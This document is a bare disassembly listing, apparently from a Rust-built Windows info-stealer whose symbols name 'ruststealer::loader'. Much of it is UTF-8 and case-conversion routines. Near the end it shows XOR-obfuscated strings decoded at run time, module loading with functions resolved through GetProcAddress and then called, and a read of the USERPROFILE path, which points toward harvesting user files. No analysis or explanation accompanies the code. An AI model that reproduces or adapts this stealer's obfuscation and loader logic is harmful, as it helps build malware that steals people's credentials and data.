movdqa xmm1, xmm0
punpcklqdq xmm1, xmm3
movapd xmm3, xmmword [0x1402bd2b0]
andpd xmm2, xmm3
pand xmm1, xmm3
packuswb xmm1, xmm2
movd xmm2, r9d
pshufd xmm2, xmm2, 0x50
movdqa xmm3, xmmword [0x1402bd2c0]
pandn xmm3, xmm2
movd xmm2, edx
psllq xmm2, 0x28
movdqa xmm4, xmmword [0x1402bd2d0]
pandn xmm4, xmm2
mov rcx, rax
shr rcx, 0x28
mov rdx, rax
shr rdx, 0x20
mov r9d, eax
shr r9d, 0x18
mov r11d, eax
shr r11d, 0x10
mov esi, eax
shr esi, 8
shr r8, 0x38
shr r10, 0x30
pxor xmm2, xmm2
packuswb xmm1, xmm2
xorps xmm8, xmm8
packuswb xmm1, xmm2
por xmm4, xmm3
por xmm4, xmm1
pand xmm4, xmm11
movd xmm1, r10d
psllq xmm1, 0x30
movdqa xmm2, xmm11
pandn xmm2, xmm1
por xmm2, xmm4
pand xmm2, xmm12
movd xmm1, r8d
psllq xmm1, 0x38
movdqa xmm3, xmm12
pandn xmm3, xmm1
por xmm3, xmm2
pand xmm3, xmm13
movd xmm1, eax
pshufd xmm1, xmm1, 0x44
movdqa xmm2, xmm13
pandn xmm2, xmm1
por xmm2, xmm3
pand xmm2, xmm14
movd xmm1, esi
pslldq xmm1, 9
movdqa xmm3, xmm14
pandn xmm3, xmm1
por xmm3, xmm2
pand xmm3, xmm15
movd xmm1, r11d
pslldq xmm1, 0xa
movdqa xmm2, xmm15
pandn xmm2, xmm1
por xmm2, xmm3
pand xmm2, xmm6
movd xmm1, r9d
pslldq xmm1, 0xb
movdqa xmm3, xmm6
pandn xmm3, xmm1
por xmm3, xmm2
pand xmm3, xmm9
movd xmm1, edx
pshufd xmm1, xmm1, 0
movdqa xmm2, xmm9
pandn xmm2, xmm1
por xmm2, xmm3
movd xmm1, ecx
pslldq xmm1, 0xd
movdqa xmm3, xmm10
pandn xmm3, xmm1
shr rax, 0x30
pand xmm2, xmm10
por xmm3, xmm2
pand xmm3, xmmword [0x1402bd360]
movd xmm1, eax
pslldq xmm1, 0xe
por xmm1, xmm3
pand xmm1, xmm7
movdqa xmm2, xmm7
pandn xmm2, xmm0
por xmm2, xmm1
movdqa xmm0, xmm2
paddb xmm0, xmmword [0x1402bd380]
movdqa xmm1, xmm0
pminub xmm1, xmmword [0x1402bd390]
pcmpeqb xmm1, xmm0
pand xmm1, xmmword [0x1402bd3a0]
por xmm1, xmm2
movdqu xmmword [rbp + r12], xmm1
lea rax, [r12 + 0x10]
add r12, 0x20
cmp r12, r14
mov r12, rax
jbe 0x1400ddce0
mov r12, rax
jmp 0x1400ddf1b
mov r14, rsi
mov ebp, 1
xor r12d, r12d
mov qword [rsp + 0x2e0], r14
mov qword [rsp + 0x2e8], rbp
mov qword [rsp + 0x2f0], r12
cmp r12, r14
jne 0x1400ddf50
mov rsi, r14
mov r9, r14
jmp 0x1400debfa
mov qword [rsp + 0x238], rbp
mov qword [rsp + 0x228], r14
add rbx, qword [rsp + 0x220]
lea r8, [r12 + r13]
mov r9, r12
xor r15d, r15d
jmp 0x1400ddfc3
mov rax, qword [rsp + 0x2e8]
mov r9, qword [rsp + 0x28]
mov qword [rsp + 0x238], rax
mov byte [rax + r9], r14b
inc r9
mov qword [rsp + 0x2f0], r9
mov r14, qword [rsp + 0x240]
sub r15, r14
mov r8, qword [rsp + 0x230]
add r15, r8
cmp r8, rbx
je 0x1400debe0
mov qword [rsp + 0x28], r9
movzx r14d, byte [r8]
test r14b, r14b
mov qword [rsp + 0x240], r8
js 0x1400de030
lea rax, [r8 + 1]
mov qword [rsp + 0x230], rax
cmp r14d, 0x3a3
je 0x1400de110
cmp r14d, 0x110000
je 0x1400debdb
cmp r14d, 0x80
jae 0x1400de0a0
lea eax, [r14 - 0x41]
xor ecx, ecx
cmp al, 0x1a
setb cl
shl ecx, 5
or ecx, r14d
mov r14d, ecx
jmp 0x1400de3bf
mov eax, r14d
and eax, 0x1f
movzx edx, byte [r8 + 1]
and edx, 0x3f
cmp r14b, 0xdf
jbe 0x1400de0e6
movzx ecx, byte [r8 + 2]
shl edx, 6
and ecx, 0x3f
or ecx, edx
cmp r14b, 0xf0
jb 0x1400de438
movzx r14d, byte [r8 + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r14d, 0x3f
or r14d, ecx
or r14d, eax
cmp r14d, 0x110000
je 0x1400debdb
lea rax, [r8 + 4]
mov qword [rsp + 0x230], rax
cmp r14d, 0x3a3
jne 0x1400ddff2
jmp 0x1400de110
mov eax, 0x57f
xor ecx, ecx
mov edx, 0x57f
nop dword [rax]
shr rax, 1
add rax, rcx
lea r8, [0x1402c3578]
mov r8d, dword [r8 + rax*8]
cmp r8d, r14d
je 0x1400de33a
lea r9, [rax + 1]
cmp r8d, r14d
cmova rdx, rax
cmovb rcx, r9
mov rax, rdx
sub rax, rcx
ja 0x1400de0b0
jmp 0x1400de3b2
lea rcx, [r8 + 2]
mov qword [rsp + 0x230], rcx
shl eax, 6
or eax, edx
mov r14d, eax
cmp r14d, 0x3a3
jne 0x1400ddff2
nop word [rax + rax]
mov r9, r15
add r9, r12
je 0x1400de135
cmp r9, qword [rsp + 0x228]
jae 0x1400de12f
cmp byte [r13 + r9], 0xbf
jg 0x1400de135
jmp 0x1400e2d0d
jne 0x1400e2d0d
lea rdx, [r9 + r13]
xor ecx, ecx
jmp 0x1400de14d
mov cl, 1
cmp eax, 0x110000
jne 0x1400de2e0
mov r14w, 0xc300
cmp rdx, r13
je 0x1400de920
movzx eax, byte [rdx - 1]
test al, al
js 0x1400de170
dec rdx
jmp 0x1400de1d2
movzx r8d, byte [rdx - 2]
cmp r8b, 0xc0
jge 0x1400de1a0
movzx r10d, byte [rdx - 3]
cmp r10b, 0xbf
jg 0x1400de1aa
movzx r11d, byte [rdx - 4]
add rdx, 0xfffffffffffffffc
and r11d, 7
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
jmp 0x1400de1b2
add rdx, 0xfffffffffffffffe
and r8d, 0x1f
jmp 0x1400de1bd
add rdx, 0xfffffffffffffffd
and r10d, 0xf
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
shl r8d, 6
and eax, 0x3f
or eax, r8d
cmp eax, 0x110000
je 0x1400de920
test cl, cl
jne 0x1400de140
mov r8d, eax
shl r8d, 0xb
mov r10d, 0x23
xor ecx, ecx
mov r11d, 0x23
nop
shr r10, 1
add r10, rcx
mov esi, dword [rdi + r10*4]
shl esi, 0xb
cmp esi, r8d
je 0x1400de21b
lea rbp, [r10 + 1]
cmp esi, r8d
cmova r11, r10
cmovb rcx, rbp
mov r10, r11
sub r10, rcx
ja 0x1400de1f0
jmp 0x1400de221
inc r10
mov rcx, r10
cmp rcx, 0x22
ja 0x1400e2c8c
mov r8d, 0x36b
je 0x1400de247
lea r10, [rdi + rcx*4]
add r10, 4
test r10, r10
je 0x1400de247
mov r8d, dword [r10]
shr r8d, 0x15
test rcx, rcx
je 0x1400de25c
mov r11d, dword [rdi + rcx*4 - 4]
mov r10d, 0x1fffff
and r11d, r10d
jmp 0x1400de25f
xor r11d, r11d
mov ecx, dword [rdi + rcx*4]
shr ecx, 0x15
mov r10, rcx
not r10
add r10, r8
je 0x1400de2ab
mov r10d, eax
sub r10d, r11d
dec r8
xor esi, esi
mov r11, rcx
nop
cmp r11, 0x36a
ja 0x1400e265e
lea rbp, [0x1402c2d1c]
movzx ebp, byte [r11 + rbp]
add esi, ebp
cmp esi, r10d
ja 0x1400de2b6
inc r11
cmp r8, r11
jne 0x1400de280
mov rcx, r8
test cl, 1
je 0x1400de140
jmp 0x1400de2c2
mov rcx, r11
test cl, 1
je 0x1400de140
mov eax, 0x110000
xor ecx, ecx
cmp eax, 0x110000
je 0x1400de14d
nop word cs:[rax + rax]
mov edx, eax
shl edx, 0xb
mov r8d, 0x16
xor ecx, ecx
mov r10d, 0x16
nop word cs:[rax + rax]
shr r8, 1
add r8, rcx
lea r11, [0x1402c3088]
mov r11d, dword [r11 + r8*4]
shl r11d, 0xb
cmp r11d, edx
je 0x1400de3e4
lea rsi, [r8 + 1]
cmp r11d, edx
cmova r10, r8
cmovb rcx, rsi
mov r8, r10
sub r8, rcx
ja 0x1400de300
jmp 0x1400de3ea
lea rcx, [0x1402c3578]
mov r14d, dword [rcx + rax*8 + 4]
mov eax, r14d
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
mov eax, 0x69
cmovb r14d, eax
jae 0x1400de3b2
cmp r14d, 0x80
jae 0x1400de783
mov rax, qword [rsp + 0x28]
cmp rax, qword [rsp + 0x2e0]
jne 0x1400de38c
lea rcx, [rsp + 0x2e0]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::hf0b9668239149fbd
mov rax, qword [rsp + 0x2e8]
mov rcx, qword [rsp + 0x28]
mov byte [rax + rcx], r14b
inc rcx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x2f0], rcx
jmp 0x1400deaa5
cmp r14d, 0x80
jae 0x1400de45e
mov rax, qword [rsp + 0x28]
cmp rax, qword [rsp + 0x2e0]
jne 0x1400ddf80
lea rcx, [rsp + 0x2e0]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::hf0b9668239149fbd
jmp 0x1400ddf80
inc r8
mov rcx, r8
cmp rcx, 0x15
ja 0x1400e2d2e
mov edx, 0x13b
je 0x1400de415
lea r8, [0x1402c3088]
lea r8, [r8 + rcx*4]
add r8, 4
test r8, r8
je 0x1400de415
mov edx, dword [r8]
shr edx, 0x15
test rcx, rcx
je 0x1400de4bd
lea r11, [0x1402c3088]
mov r8d, dword [r11 + rcx*4 - 4]
mov r10d, 0x1fffff
and r8d, r10d
jmp 0x1400de4c7
lea rdx, [r8 + 3]
mov qword [rsp + 0x230], rdx
shl eax, 0xc
or ecx, eax
mov r14d, ecx
cmp r14d, 0x3a3
jne 0x1400ddff2
jmp 0x1400de110
mov dword [rsp + 0x260], 0
cmp r14d, 0x800
jb 0x1400deab6
mov eax, r14d
cmp r14d, 0x10000
jae 0x1400de812
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x260], al
mov eax, r14d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x261], al
and r14b, 0x3f
or r14b, 0x80
mov byte [rsp + 0x262], r14b
mov ebp, 3
jmp 0x1400deada
xor r8d, r8d
lea r11, [0x1402c3088]
mov ecx, dword [r11 + rcx*4]
shr ecx, 0x15
mov r10, rcx
not r10
add r10, rdx
je 0x1400de51c
sub eax, r8d
dec rdx
xor r10d, r10d
mov r8, rcx
nop word cs:[rax + rax]
cmp r8, 0x13a
ja 0x1400e2ca2
lea r11, [0x1402c30e0]
movzx r11d, byte [r8 + r11]
add r10d, r11d
cmp r10d, eax
ja 0x1400de526
inc r8
cmp rdx, r8
jne 0x1400de4f0
mov rcx, rdx
test cl, 1
jne 0x1400de532
jmp 0x1400de920
mov rcx, r8
test cl, 1
je 0x1400de920
mov rdx, r13
add r9, 2
je 0x1400de55c
cmp qword [rsp + 0x228], r9
jbe 0x1400de552
cmp byte [r13 + r9], 0xbf
jg 0x1400de558
jmp 0x1400e2dc0
jne 0x1400e2dc0
lea rdx, [r9 + r13]
mov r8, qword [rsp + 0x228]
sub r8, r9
add r8, rdx
xor ecx, ecx
jmp 0x1400de58d
add rdx, 2
shl r9d, 6
or r9d, r11d
mov eax, r9d
test cl, cl
je 0x1400de5a9
mov cl, 1
cmp eax, 0x110000
jne 0x1400de731
mov r14w, 0xc200
cmp rdx, r8
je 0x1400de920
movzx eax, byte [rdx]
test al, al
js 0x1400de5f0
inc rdx
test cl, cl
jne 0x1400de580
mov r9d, eax
shl r9d, 0xb
mov r10d, 0x23
xor ecx, ecx
mov r11d, 0x23
nop
shr r10, 1
add r10, rcx
mov esi, dword [rdi + r10*4]
shl esi, 0xb
cmp esi, r9d
je 0x1400de655
lea r14, [r10 + 1]
cmp esi, r9d
cmova r11, r10
cmovb rcx, r14
mov r10, r11
sub r10, rcx
ja 0x1400de5c0
jmp 0x1400de65b
mov r9d, eax
and r9d, 0x1f
movzx r11d, byte [rdx + 1]
and r11d, 0x3f
cmp al, 0xdf
jbe 0x1400de56e
movzx r10d, byte [rdx + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp al, 0xf0
jb 0x1400de716
movzx eax, byte [rdx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and eax, 0x3f
or eax, r10d
or eax, r9d
cmp eax, 0x110000
je 0x1400de920
add rdx, 4
test cl, cl
jne 0x1400de580
jmp 0x1400de5a9
inc r10
mov rcx, r10
cmp rcx, 0x22
ja 0x1400e2cc0
mov r9d, 0x36b
je 0x1400de681
lea r10, [rdi + rcx*4]
add r10, 4
test r10, r10
je 0x1400de681
mov r9d, dword [r10]
shr r9d, 0x15
test rcx, rcx
je 0x1400de696
mov r11d, dword [rdi + rcx*4 - 4]
mov r10d, 0x1fffff
and r11d, r10d
jmp 0x1400de699
xor r11d, r11d
mov ecx, dword [rdi + rcx*4]
shr ecx, 0x15
mov r10, rcx
not r10
add r10, r9
je 0x1400de6eb
mov r10d, eax
sub r10d, r11d
dec r9
xor esi, esi
mov r11, rcx
nop dword [rax + rax]
cmp r11, 0x36a
ja 0x1400e29a8
lea r14, [0x1402c2d1c]
movzx ebp, byte [r11 + r14]
add esi, ebp
cmp esi, r10d
ja 0x1400de6f6
inc r11
cmp r9, r11
jne 0x1400de6c0
mov rcx, r9
test cl, 1
je 0x1400de580
jmp 0x1400de702
mov rcx, r11
test cl, 1
je 0x1400de580
mov eax, 0x110000
xor ecx, ecx
cmp eax, 0x110000
je 0x1400de58d
jmp 0x1400de731
add rdx, 3
shl r9d, 0xc
or r10d, r9d
mov eax, r10d
test cl, cl
jne 0x1400de580
jmp 0x1400de5a9
mov edx, eax
shl edx, 0xb
mov r8d, 0x16
xor ecx, ecx
mov r9d, 0x16
nop word cs:[rax + rax]
shr r8, 1
add r8, rcx
lea r10, [0x1402c3088]
mov r10d, dword [r10 + r8*4]
shl r10d, 0xb
cmp r10d, edx
je 0x1400de7c5
lea r11, [r8 + 1]
cmp r10d, edx
cmova r9, r8
cmovb rcx, r11
mov r8, r9
sub r8, rcx
ja 0x1400de750
jmp 0x1400de7cb
mov dword [rsp + 0x90], 0
mov eax, r14d
cmp r14d, 0x800
jae 0x1400de8be
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x90], al
and r14b, 0x3f
or r14b, 0x80
mov byte [rsp + 0x91], r14b
mov r14d, 2
jmp 0x1400dea4a
inc r8
mov rcx, r8
cmp rcx, 0x15
ja 0x1400e2d2e
mov edx, 0x13b
je 0x1400de7f6
lea r8, [0x1402c3088]
lea r8, [r8 + rcx*4]
add r8, 4
test r8, r8
je 0x1400de7f6
mov edx, dword [r8]
shr edx, 0x15
test rcx, rcx
je 0x1400de85a
lea r10, [0x1402c3088]
mov r8d, dword [r10 + rcx*4 - 4]
mov r9d, 0x1fffff
and r8d, r9d
jmp 0x1400de864
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0x260], al
mov eax, r14d
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x261], al
mov eax, r14d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x262], al
and r14b, 0x3f
or r14b, 0x80
mov byte [rsp + 0x263], r14b
mov ebp, 4
jmp 0x1400deada
xor r8d, r8d
lea r10, [0x1402c3088]
mov r14d, dword [r10 + rcx*4]
shr r14d, 0x15
mov rcx, r14
not rcx
add rcx, rdx
je 0x1400de906
sub eax, r8d
dec rdx
xor r8d, r8d
mov rcx, r14
nop word [rax + rax]
cmp rcx, 0x13a
ja 0x1400e2cd6
lea r9, [0x1402c30e0]
movzx r9d, byte [rcx + r9]
add r8d, r9d
cmp r8d, eax
ja 0x1400de903
inc rcx
cmp rdx, rcx
jne 0x1400de890
mov r14, rdx
jmp 0x1400de906
cmp r14d, 0x10000
jae 0x1400dea06
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x90], al
mov eax, r14d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x91], al
and r14b, 0x3f
or r14b, 0x80
mov byte [rsp + 0x92], r14b
mov r14d, 3
jmp 0x1400dea4a
mov r14, rcx
and r14d, 1
shl r14d, 8
or r14d, 0xc200
nop word cs:[rax + rax]
mov rax, qword [rsp + 0x2e0]
mov rcx, rax
mov rbp, qword [rsp + 0x28]
sub rcx, rbp
cmp rcx, 1
ja 0x1400de980
add rbp, 2
mov rdx, qword [rsp + 0x238]
jb 0x1400e2d04
lea rcx, [rax + rax]
cmp rcx, rbp
cmova rbp, rcx
cmp rbp, 9
mov ecx, 8
cmovb rbp, rcx
test rax, rax
je 0x1400de98a
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0xa0], rax
mov eax, 1
jmp 0x1400de98c
mov rcx, qword [rsp + 0x238]
jmp 0x1400de9dd
xor eax, eax
mov rdx, rbp
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0x1c0]
mov r8, rbp
lea r9, [rsp + 0x90]
call sym.alloc::raw_vec::finish_grow::h61d1dd38727c2965
cmp qword [rsp + 0x1c0], 0
jne 0x1400e2cf2
mov rcx, qword [rsp + 0x1c8]
mov qword [rsp + 0x2e8], rcx
mov qword [rsp + 0x2e0], rbp
movsx eax, r14w
and eax, 0x8300
or eax, 0xcf
mov r9, qword [rsp + 0x28]
mov qword [rsp + 0x238], rcx
mov word [rcx + r9], ax
add r9, 2
jmp 0x1400ddf9c
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0x90], al
mov eax, r14d
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x91], al
mov eax, r14d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x92], al
and r14b, 0x3f
or r14b, 0x80
mov byte [rsp + 0x93], r14b
mov r14d, 4
mov rax, qword [rsp + 0x2e0]
mov rsi, qword [rsp + 0x28]
sub rax, rsi
cmp rax, r14
jae 0x1400dea7a
lea rcx, [rsp + 0x2e0]
mov rdx, rsi
mov r8, r14
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::hbf854d12ed2079af
mov rsi, qword [rsp + 0x2f0]
mov rcx, qword [rsp + 0x2e8]
add rcx, rsi
lea rdx, [rsp + 0x90]
mov r8, r14
call sym.memcpy
add rsi, r14
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x2f0], rsi
mov dword [rsp + 0x260], 0
mov r14d, 0x307
mov eax, r14d
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x260], al
and r14b, 0x3f
or r14b, 0x80
mov byte [rsp + 0x261], r14b
mov ebp, 2
mov rax, qword [rsp + 0x2e0]
mov rdx, rax
mov rcx, qword [rsp + 0x28]
sub rdx, rcx
cmp rdx, rbp
mov r14, qword [rsp + 0x240]
jae 0x1400deb42
mov rsi, rcx
add rsi, rbp
jb 0x1400e2d04
lea r14, [rax + rax]
cmp r14, rsi
cmovbe r14, rsi
cmp r14, 9
mov ecx, 8
cmovb r14, rcx
test rax, rax
je 0x1400deb50
mov rcx, qword [rsp + 0x2e8]
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0xa0], rax
mov eax, 1
jmp 0x1400deb52
mov rax, qword [rsp + 0x2e8]
lea rsi, [rcx + rbp]
jmp 0x1400debb0
xor eax, eax
mov rdx, r14
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0x1c0]
mov r8, r14
lea r9, [rsp + 0x90]
call sym.alloc::raw_vec::finish_grow::h61d1dd38727c2965
cmp qword [rsp + 0x1c0], 0
jne 0x1400e2cf2
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x2e0], r14
mov rcx, qword [rsp + 0x28]
mov r14, qword [rsp + 0x240]
mov qword [rsp + 0x238], rax
add rcx, rax
lea rdx, [rsp + 0x260]
mov r8, rbp
call sym.memcpy
mov qword [rsp + 0x2f0], rsi
mov r9, rsi
jmp 0x1400ddfac
mov r9, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x2e0]
mov rbp, qword [rsp + 0x2e8]
movabs r15, 0x8080808080808080
mov r14, qword [rsp + 0x258]
mov r13, qword [rsp + 0x278]
mov rcx, qword [r14 + r13]
mov rdx, qword [r14 + r13 + 8]
mov r8, rbp
call sym.__str_as_core::str::pattern::Pattern_::is_contained_in::h876ce00b086b88d3
mov ebx, eax
test rsi, rsi
lea r12, [rsp + 0x90]
je 0x1400dec3b
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rbp
call fcn.14013f0f4
test bl, bl
je 0x1400dd970
lea rax, [0x1402b94a9]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0xe64a125edc1e353
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::h2990e79bd7ed2f33
mov rcx, qword [rax]
movabs rdx, 0x43263f6a956cbb2e
xor rcx, rdx
mov eax, dword [rax + 8]
mov edx, 0x1dac9cef
xor eax, edx
mov qword [rsp + 0x2e0], rcx
mov dword [rsp + 0x2e8], eax
lea rcx, [rsp + 0x1c0]
lea rdx, [rsp + 0x2e0]
call sym.ruststealer::loader::LoadMod::new::h37f4a917a9a86275
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x1c0], rax
jne 0x1400e2de7
mov rsi, qword [rsp + 0x1c8]
lea rax, [0x1402b592f]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0xdd2edfc76598ec6e
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::h0656674a6c15ab55
mov r15, qword [rax]
movabs rcx, 0x7526ab621fe79945
xor r15, rcx
movzx ebp, byte [rax + 0xa]
movzx ebx, word [rax + 8]
movzx eax, byte [0x140346130]
mov edx, 0xc
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hcc99af14aa596ba0
test rax, rax
je 0x1400e2d3f
mov r13d, ebx
shr r13d, 8
xor bl, 0xa7
xor r13b, 0xd3
xor bpl, 0x1d
mov qword [rax], r15
mov byte [rax + 8], bl
mov byte [rax + 9], r13b
mov byte [rax + 0xa], bpl
test r15b, r15b
je 0x1400e2d4e
test r15d, 0xff00
je 0x1400e2d52
test r15d, 0xff0000
je 0x1400e2d59
mov rcx, r15
shr rcx, 0x18
test cl, cl
je 0x1400e2d60
movabs rcx, 0xff00000000
test r15, rcx
je 0x1400e2d67
movabs rcx, 0xff0000000000
test r15, rcx
je 0x1400e2d6e
movabs rcx, 0xff000000000000
test r15, rcx
je 0x1400e2d75
movabs rcx, 0x100000000000000
cmp r15, rcx
jb 0x1400e2d7c
test bl, bl
je 0x1400e2d83
test r13b, r13b
je 0x1400e2d8a
test bpl, bpl
je 0x1400e2d91
mov qword [rsp + 0x90], 0xc
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 0xb
mov rcx, r12
call sym.alloc::ffi::c_str::CString::_from_vec_unchecked::h18c67bdafa38fa9a
mov r12, rax
mov r14, rdx
mov rcx, rsi
mov rdx, rax
call sub.KERNEL32.dll_GetProcAddress
test rax, rax
je 0x1400e2e6f
mov qword [rsp + 0x28], rax
mov r13, rsi
mov byte [r12], 0
test r14, r14
je 0x1400dee5e
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, r12
call fcn.14013f0f4
lea rax, [0x1402b5845]
mov qword [rsp + 0x90], rax
lea r12, [rsp + 0x90]
mov rcx, qword [rsp + 0x90]
movabs rax, 0x1498d9cf9ca509b8
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::h0b8f1b056cb838f6
mov rsi, qword [rax]
mov rbx, qword [rax + 8]
movzx eax, byte [0x140346130]
mov edx, 0x11
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hcc99af14aa596ba0
test rax, rax
je 0x1400e2e35
mov rbp, rsi
movabs rcx, 0xd2f58e42036bf0bc
xor rbp, rcx
mov r15, rbx
movabs rcx, 0xc53d6d580482045c
xor r15, rcx
mov qword [rax], rbp
mov qword [rax + 8], r15
movabs rdx, 0xfefefefefefefeff
lea rcx, [rdx + rbp]
movabs r8, 0x8080800000
xor rsi, r8
and rsi, rcx
lea rcx, [r15 + rdx]
movabs rdx, 0x80808080008080
xor rbx, rdx
and rbx, rcx
or rbx, rsi
movabs rcx, 0x8080808080808080
test rbx, rcx
mov rsi, r13
je 0x1400df02b
test bpl, bpl
je 0x1400e2f29
test ebp, 0xff00
je 0x1400e2f14
test ebp, 0xff0000
je 0x1400e2f6c
mov rcx, rbp
shr rcx, 0x18
test cl, cl
je 0x1400e2f57
movabs rcx, 0xff00000000
test rbp, rcx
je 0x1400e2f42
movabs rcx, 0xff0000000000
test rbp, rcx
je 0x1400e2f2d
movabs rcx, 0xff000000000000
test rbp, rcx
je 0x1400e2f1b
movabs rcx, 0x100000000000000
cmp rbp, rcx
jb 0x1400e2f73
test r15b, r15b
je 0x1400e2f5e
test r15d, 0xff00
je 0x1400e2f49
test r15d, 0xff0000
je 0x1400e2f34
mov rcx, r15
shr rcx, 0x18
test cl, cl
je 0x1400e2f22
movabs rcx, 0xff00000000
test r15, rcx
je 0x1400e2f0d
movabs rcx, 0xff0000000000
test r15, rcx
je 0x1400e2f65
movabs rcx, 0xff000000000000
test r15, rcx
je 0x1400e2f50
movabs rcx, 0x100000000000000
cmp r15, rcx
jb 0x1400e2f3b
mov qword [rsp + 0x90], 0x11
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 0x10
mov rcx, r12
call sym.alloc::ffi::c_str::CString::_from_vec_unchecked::h18c67bdafa38fa9a
mov r13, rax
mov r14, rdx
mov rcx, rsi
mov rdx, rax
call sub.KERNEL32.dll_GetProcAddress
test rax, rax
je 0x1400e2e44
mov qword [rsp + 0x240], rax
mov byte [r13], 0
test r14, r14
je 0x1400df090
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, r13
call fcn.14013f0f4
lea rax, [0x1402bc3fa]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0xf327e0c42bf8865f
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::hb1d56693daae3943
mov r15, qword [rax]
movabs rcx, 0x8ac1e2189e855be4
xor r15, rcx
movzx ebx, byte [rax + 0xa]
movzx ebp, word [rax + 8]
movzx eax, byte [0x140346130]
mov edx, 0xc
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hcc99af14aa596ba0
test rax, rax
je 0x1400e2d3f
mov r12d, ebp
shr r12d, 8
xor bpl, 0x79
xor r12b, 0x92
xor bl, 0xd5
mov qword [rax], r15
mov byte [rax + 8], bpl
mov byte [rax + 9], r12b
mov byte [rax + 0xa], bl
test r15b, r15b
je 0x1400e2d4e
test r15d, 0xff00
je 0x1400e2d52
test r15d, 0xff0000
je 0x1400e2d59
mov rcx, r15
shr rcx, 0x18
test cl, cl
je 0x1400e2d60
movabs rcx, 0xff00000000
test r15, rcx
je 0x1400e2d67
movabs rcx, 0xff0000000000
test r15, rcx
je 0x1400e2d6e
movabs rcx, 0xff000000000000
test r15, rcx
je 0x1400e2d75
movabs rcx, 0x100000000000000
cmp r15, rcx
jb 0x1400e2d7c
test bpl, bpl
je 0x1400e2d83
test r12b, r12b
je 0x1400e2d8a
test bl, bl
je 0x1400e2d91
mov qword [rsp + 0x90], 0xc
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 0xb
lea rcx, [rsp + 0x90]
call sym.alloc::ffi::c_str::CString::_from_vec_unchecked::h18c67bdafa38fa9a
mov r13, rax
mov rcx, rsi
mov rsi, rdx
mov qword [rsp + 0x230], rcx
mov rdx, rax
call sub.KERNEL32.dll_GetProcAddress
test rax, rax
je 0x1400e2ee2
mov r14, rax
mov byte [r13], 0
test rsi, rsi
je 0x1400df21f
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, r13
call fcn.14013f0f4
mov ecx, 1
xor edx, edx
mov r8d, dword [rsp + 0x2d0]
call qword [rsp + 0x28]
mov r15, rax
mov rcx, rax
mov edx, 1
call qword [rsp + 0x240]
mov rcx, r15
call r14
mov rcx, qword [rsp + 0x230]
call sub.KERNEL32.dll_FreeLibrary
test eax, eax
movabs r15, 0x8080808080808080
lea r12, [rsp + 0x90]
mov r14, qword [rsp + 0x258]
mov r13, qword [rsp + 0x278]
jne 0x1400dd970
lea rax, str.Failed_to_free_Module_n
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
mov qword [rsp + 0xa0], 8
movups xmmword [rsp + 0xa8], xmm8
mov rcx, r12
call sym.std::io::stdio::_eprint::h9d1efd0cc06e46e4
jmp 0x1400dd970
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, r14
call fcn.14013f0f4
cmp qword [rsp + 0x248], 0
je 0x1400dcb60
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, qword [rsp + 0x220]
call fcn.14013f0f4
jmp 0x1400dcb60
cmp qword [rsp + 0x4e8], 0
je 0x1400df31c
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, qword [rsp + 0x3f8]
call fcn.14013f0f4
mov qword [rsp + 0x260], 0
mov qword [rsp + 0x268], 8
mov qword [rsp + 0x270], 0
lea rdx, str.USERPROFILE
lea rcx, [rsp + 0x90]
mov r8d, 0xb
call sym.std::env::_var_os::hf57a8ad827b86018
